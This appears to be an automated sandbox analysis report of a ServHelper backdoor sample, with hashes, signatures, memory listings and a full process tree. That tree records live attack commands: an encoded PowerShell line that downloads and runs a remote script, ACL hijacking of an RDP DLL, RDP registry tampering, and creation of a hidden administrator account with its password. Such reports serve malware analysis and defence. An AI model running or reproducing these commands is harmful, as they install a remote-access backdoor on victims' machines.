Analysis

  • max time kernel
    143s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    01/02/2022, 01:00

General

  • Target

    4d7fcc25614e0b6efb83dcca19925cfca5f7ea519b6d1ac859c011a9faba9150.exe

  • Size

    4.6MB

  • MD5

    04eea56890bbc52dca52129a16167964

  • SHA1

    cb202a349506896aac49ee46ceb8d1c66c23797d

  • SHA256

    4d7fcc25614e0b6efb83dcca19925cfca5f7ea519b6d1ac859c011a9faba9150

  • SHA512

    22703fc48e0c109d02a3e8fc774bcfbe0390d54a19473985235b50ace594de1101de2379daced1a2cd08ff96884099bdf97c39988de6c2c814c40fe23143893c

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4d7fcc25614e0b6efb83dcca19925cfca5f7ea519b6d1ac859c011a9faba9150.exe
    "C:\Users\Admin\AppData\Local\Temp\4d7fcc25614e0b6efb83dcca19925cfca5f7ea519b6d1ac859c011a9faba9150.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1668
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1464
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hy7ivy0i.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1964
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7936.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC7926.tmp"
          4⤵
            PID:1996
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:836
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1572
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:588
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1764
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1352
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1964
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:408
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1060
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:964
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1876
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1252
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1832
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:916
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:2024
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1072
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:808
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:936
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1776
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1720
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1676
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:828
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:2016
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:700
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1304
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1500
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:920
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:1412
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:1164
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:1552
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc ae5XQ55u /add
                                  1⤵
                                    PID:1664
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc ae5XQ55u /add
                                      2⤵
                                        PID:304
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc ae5XQ55u /add
                                          3⤵
                                            PID:1208
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:636
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:1132
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:984
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" VQVVOAJK$ /ADD
                                              1⤵
                                                PID:1876
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" VQVVOAJK$ /ADD
                                                  2⤵
                                                    PID:688
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" VQVVOAJK$ /ADD
                                                      3⤵
                                                        PID:676
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:2000
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:1076
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1948
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc ae5XQ55u
                                                          1⤵
                                                            PID:1008
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc ae5XQ55u
                                                              2⤵
                                                                PID:936
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc ae5XQ55u
                                                                  3⤵
                                                                    PID:2040
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:2016
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1984
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:1508
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1068
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:984
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1704
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1680

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/588-96-0x0000000002A10000-0x0000000002A12000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/588-95-0x000007FEEB610000-0x000007FEEC16D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/588-101-0x0000000002A1C000-0x0000000002A3B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/588-99-0x0000000002A14000-0x0000000002A17000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/588-98-0x0000000002A17000-0x0000000002A18000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/588-97-0x0000000002A12000-0x0000000002A14000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/588-100-0x000000001B8E0000-0x000000001BBDF000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/836-79-0x0000000002732000-0x0000000002734000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/836-81-0x0000000002737000-0x0000000002738000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/836-77-0x000000001B960000-0x000000001BC5F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/836-82-0x000000000273C000-0x000000000275B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/836-80-0x0000000002734000-0x0000000002737000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/836-78-0x0000000002730000-0x0000000002732000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/836-76-0x000007FEEB610000-0x000007FEEC16D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1464-63-0x0000000002854000-0x0000000002857000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1464-62-0x0000000002852000-0x0000000002854000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1464-59-0x000007FEFBE11000-0x000007FEFBE13000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1464-73-0x000000000287D000-0x000000000287E000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1464-61-0x000007FEEB610000-0x000007FEEC16D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1464-65-0x000000000285B000-0x000000000287A000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1464-60-0x0000000002850000-0x0000000002852000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1572-86-0x00000000027D0000-0x00000000027D2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1572-89-0x00000000027D4000-0x00000000027D7000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1572-87-0x000000001B7D0000-0x000000001BACF000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1572-85-0x000007FEEB610000-0x000007FEEC16D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1572-88-0x00000000027D2000-0x00000000027D4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1572-91-0x00000000027D7000-0x00000000027D8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1572-90-0x00000000027DC000-0x00000000027FB000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1668-58-0x0000000041137000-0x0000000041138000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1668-54-0x0000000041460000-0x0000000041710000-memory.dmp

                                                                        Filesize

                                                                        2.7MB

                                                                      • memory/1668-57-0x0000000041136000-0x0000000041137000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1668-56-0x0000000041134000-0x0000000041136000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1668-55-0x0000000041132000-0x0000000041134000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1680-109-0x0000000000A20000-0x0000000000A22000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1680-108-0x000007FEEB610000-0x000007FEEC16D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1680-110-0x0000000000A22000-0x0000000000A24000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1680-111-0x0000000000A24000-0x0000000000A27000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1680-112-0x0000000000A2B000-0x0000000000A4A000-memory.dmp

                                                                        Filesize

                                                                        124KB